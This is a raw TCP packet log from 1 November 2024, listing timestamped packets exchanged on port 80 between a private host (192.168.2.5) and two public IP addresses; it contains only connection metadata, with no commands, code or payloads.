Nov 1, 2024 05:52:28.133383989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133403063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133421898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133424044 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133435965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133450031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133464098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133477926 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133479118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133493900 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133522034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133523941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133534908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133548975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133562088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133573055 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133590937 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133629084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133646011 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133660078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133692980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133769035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133781910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133795023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.133806944 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.133832932 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.134013891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134057999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134072065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134111881 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.134202957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134217978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134239912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134254932 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.134259939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134273052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134285927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134299040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134305000 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.134313107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134327888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134335041 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.134335041 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.134340048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134360075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.134368896 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.134679079 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138169050 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138183117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138196945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138211966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138248920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138269901 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138281107 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138286114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138298988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138313055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138326883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138340950 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138340950 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138359070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138372898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138385057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138397932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138411045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138433933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138433933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138446093 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138449907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138463974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138478041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138492107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138501883 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138504982 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138526917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138534069 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138539076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138571978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138612986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138626099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138639927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138652086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138653040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138675928 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138686895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138700962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138714075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138726950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138732910 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138741970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138755083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138758898 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138771057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138782978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138797045 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138813972 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138830900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138844013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138855934 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138869047 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138881922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138907909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138907909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138909101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.138967991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.138981104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.139012098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.139024973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.139034033 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.139039040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.139053106 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.139070034 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.139100075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.140088081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.140604973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140633106 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140645981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140753031 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.140757084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140800953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140805960 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.140815973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140826941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140861988 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.140870094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140883923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140897036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140917063 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.140928984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.140984058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.140990973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141024113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141120911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141134977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141146898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141171932 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141383886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141396999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141410112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141429901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141448975 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141565084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141577959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141591072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141638994 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141669035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141683102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141696930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141731024 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141766071 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141828060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141839981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141870022 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141870022 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141890049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141904116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141942024 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.141973972 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141987085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.141999960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142014980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142020941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142029047 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142040968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142076969 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142076969 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142301083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142355919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142373085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142386913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142411947 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142411947 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142779112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142791986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142807007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142818928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142832041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142837048 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142843008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142862082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142900944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142901897 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142925978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142944098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142956018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142967939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.142987013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.142987013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.143078089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.143090010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.143100977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.143112898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.143115997 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.143124104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.143151045 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.143162012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.146167994 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.164457083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.164520025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.164532900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.164546967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.164551973 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.164604902 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.164962053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165004969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165018082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165071964 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.165505886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165517092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165574074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.165637016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165649891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165663004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165678978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165699959 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.165702105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165707111 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.165746927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.165798903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165812016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165824890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165839911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165852070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165865898 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.165865898 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.165960073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165981054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.165993929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166023016 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166040897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166055918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166078091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166079044 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166098118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166112900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166112900 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166126966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166138887 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166141033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166163921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166276932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166290045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166323900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166336060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166342974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166353941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166366100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166373968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166378975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166393042 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166424036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166428089 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166439056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166484118 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166513920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166548967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166563034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166575909 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166582108 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166590929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166604042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166616917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.166630983 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.166681051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.177352905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.177412033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.177424908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.177428961 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.177462101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.205974102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206020117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206060886 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206129074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206267118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206305027 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206353903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206366062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206377029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206393957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206404924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206413031 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206415892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206469059 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206469059 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206526995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206609964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206620932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206634045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206649065 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206660986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206672907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206681967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206692934 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206701994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206712008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206717968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206718922 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206722021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206732988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206744909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206749916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206773043 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206773043 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206793070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206809044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206819057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206859112 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206859112 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206866980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206943989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206952095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206974983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.206979990 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.206984997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:28.207017899 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.251652956 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:28.394790888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:03.652266026 CET	49932	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:03.657104015 CET	80	49932	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:03.657215118 CET	49932	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:03.657398939 CET	49932	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:03.662136078 CET	80	49932	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:04.554028988 CET	80	49932	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:04.554085016 CET	49932	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:06.065912008 CET	49932	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:06.066242933 CET	49943	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:06.071032047 CET	80	49932	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:06.071063042 CET	80	49943	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:06.071135998 CET	49932	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:06.071177006 CET	49943	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:06.071274996 CET	49943	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:06.076030970 CET	80	49943	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:07.002084017 CET	80	49943	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:07.002851009 CET	49943	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:07.006155968 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:07.011003017 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.012041092 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:07.012151957 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:07.016916990 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:07.928847075 CET	80	49950	185.215.113.16	192.168.2.5
